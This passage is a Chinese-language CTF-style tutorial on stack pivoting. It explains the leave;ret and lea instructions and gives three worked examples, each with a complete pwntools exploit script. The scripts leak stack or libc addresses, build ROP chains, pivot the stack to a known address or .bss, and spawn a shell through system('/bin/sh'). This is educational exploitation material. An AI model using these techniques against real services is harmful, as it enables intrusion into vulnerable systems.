1.什么是栈迁移
栈迁移可以用于处理栈溢出的情况。当栈溢出且可溢出长度不足以容纳 payload 时,可以通过栈迁移来构建一个新的栈空间以放下 payload
2.栈迁移中需要用到的汇编指令
leave_ret
主要由 leave
和 ret
两条指令组成。
leave
指令相当于 mov esp, ebp
和 pop ebp
的组合,它的作用是将 ebp
的值赋给 esp
(即让 esp
指向 ebp
所指的地方),然后将栈上 ebp
所指向的内容 pop
出来。这样,ebp
和 esp
的值都会改变,从而实现了栈的迁移。ret
指令则用于从函数返回,它将 rip
(指令指针寄存器)指向栈上的下一个地址,并增加 rsp
(栈指针寄存器)的值。通过结合使用 leave
和 ret
指令,可以实现栈迁移,即改变程序的执行流程,使得程序能够从一个栈帧迁移到另一个栈帧。这在处理栈溢出、控制程序流程等方面非常有用。
注意:leave_ret的作用:esp是栈顶,mov esp ebp就是让esp指向ebp 然后pop ebp将ebp弹走,那么ebp后面的内容就会进行抬栈,整体向上移动4位
3.简单理解
buf距离rbp 0x30
read(0,buf,0x40)
printf(buf)
read(0,buf,0x40)
如上图,通常我们溢出字节往往只有16个字节甚至更少,我们可以通过第一次读入后的printf泄露出具体的地址,从而在第二次read时把完整的rop链子迁移到我们想要的位置。接下来我们通过例题分析。
4.例题分析
##例题1
我们可以看到printf函数会将buf的地址泄露出来,那么我们将垃圾数据填到ebp前面,就可以打印出ebp的地址,从而在第二次输入的时候确定自己payload的位置。那么在第二次payload的时候通过leave_ret指令将栈迁移到确定的位置从而拿到shell。
本题第一次泄露ebp地址,然后第二次直接栈迁移即可
from pwn import *
p = process("./1")
elf=ELF('./1')
def bug():
gdb.attach(p)
pause()
payload=b'a'*47+b'c'
bug()
p.send(payload)
p.recvuntil('c')
ebp=u32(p.recv(4))-16
print(hex(ebp))
payload=(b'a'*4+p32(elf.plt['system'])+p32(0)+p32(ebp-32)+b'/bin/sh\x00').ljust(0x30,b'\x00')+p32(ebp-48)+p32(0x8048604)
pause()
p.send(payload)
p.interactive()
解析第二个payload先输入4个a是因为抬栈原因,最后都会被pop掉,后面就是正常的链p32(ebp-32)是为了确定bin/sh输入的位置,p32(ebp-48)是新的ebp的位置如何得到这两个位置需要看下gdb
这是第一次read后的栈内情况,我们可以观察到ebp距离我们输入a的位置有12*4个距离,这个就是新的ebp。我们看第二次read后栈内情况
可以看到0xffed2a08这个地址就是read读入的地址,并且一条完整的链子已经形成了。
##例题2
第一次read的位置s在bss处,而bss的位置我们又知道,但是ida中没有system,需要ret2libc来获取。那么我们是不是可以在bss上写入东西然后第二次read读入时迁到bss上执行链子,从而获取libc_base,然后再用相同思路再次迁移形成完整的链子。
p.recvuntil("hello\n")
pay=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=b'a'*96+p64(0x406060-8)+p64(leave_ret)
p.send(pay)
第一次read写入链子,第二次先填入垃圾数据,然后p64(0x406060-8)相当于新的rbp位置,后面的leave_ret是返回地址。
pay=p64(rdi)+p64(bin)+p64(ret)+p64(system)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=(p64(rdi)+p64(bin)+p64(ret)+p64(system)).ljust(0x60,b'\x00')+p64(0x406060-0x60)+p64(leave_ret)
p.send(pay)
第二次同样操作进行栈迁移即可。因为这里进行补齐0x60操作,所以新的rbp位置只需bss-0x60即可。完整exp如下:
from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./3")
elf=ELF('./3')
def bug():
gdb.attach(p)
pause()
ret=0x40101a
rdi=0x4012a3
main=0x401210
leave_ret=0x40120E
p.recvuntil("hello\n")
pay=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=b'a'*96+p64(0x406060-8)+p64(leave_ret)
p.send(pay)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.symbols['read']
bin=libc_base+next(libc.search(b'/bin/sh'))
system=libc_base+libc.symbols['system']
p.recvuntil("hello\n")
pay=p64(rdi)+p64(bin)+p64(ret)+p64(system)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay1=(p64(rdi)+p64(bin)+p64(ret)+p64(system)).ljust(0x60,b'\x00')+p64(0x406060-0x60)+p64(leave_ret)
p.send(pay1)
p.interactive()
##例题3
只有一次读入,并且溢出字节为0x10。思路:前面说到可以将栈迁移到bss段上。这里需要补充一些新的知识,一条汇编指令
lea rax, [rbp+buf]
是一个 x86-64 架构下的汇编指令。这条指令用于计算一个内存地址并将其加载到 rax
寄存器中。lea
是“Load Effective Address”的缩写,它的作用是计算源操作数的有效地址,并将其结果存放到目标操作数指定的寄存器中。它不执行任何内存访问,只是计算地址。rax
是 x86-64 架构下的主寄存器,通常用于存放返回值或临时数据。[rbp+buf]
是一个基于基址指针 rbp
(也叫帧指针)的偏移量。buf
是一个变量或偏移量,它与 rbp
相加得到一个新的地址。因此,lea rax, [rbp+buf]
这条指令将计算 rbp + buf
的地址,并将这个地址存放到 rax
寄存器中。通常,这样的指令用于准备后续的内存访问操作,比如读取或写入数据。例如,如果你有一个在栈上的缓冲区 buf
,并且你知道它的偏移量相对于当前栈帧的基址指针 rbp
,那么你可以使用 lea rax, [rbp+buf]
来获取这个缓冲区的地址,并存储在 rax
中。然后,你可以使用 rax
来读取或写入缓冲区的内容。
我们可以看到buf=rbp-80,那么【rbp+buf】=-80 那么如果我们将rbp改成想要的地址+80,那么我们就可以从这个地址进行再次读入。即pay=b'a'*80+p64(bss+80)+p64(lea_rax)。这里先放exp:
from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./5")
elf=ELF('./5')
def bug():
gdb.attach(p)
pause()
rdi=0x4012b3
rbp=0x40115d
lea_rax=0x4011ff
leave_ret=0x401227
bss=0x404020+0x300
p.recvuntil("me:")
pay=b'a'*80+p64(bss+80)+p64(lea_rax) ###pay1
p.send(pay)
pay=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x50)+p64(lea_rax)).ljust(0x50,b'\x00')+p64(bss)+p64(leave_ret)
p.send(pay)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.symbols['read']
bin=libc_base+next(libc.search(b'/bin/sh'))
system=libc_base+libc.symbols['system']
pay=(b'a'*8+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')+p64(bss+0x500)+p64(leave_ret)
p.send(pay)
p.interactive()
解读payload。第一处payload处我们通过修改rbp从而将下次read的位置迁移到bss处,第二个payload则是为了再次栈迁移,不仅再次read到bss+0x500处,而且泄露出libc地址。b'a'*8会在抬栈操作下pop掉。p64(rbp)中的rbp是pop_rbp_ret,将rbp中原有的值pop走填入我们的rbp从而控制下次读入位置。第三个payload即是正常的一次栈迁移。至此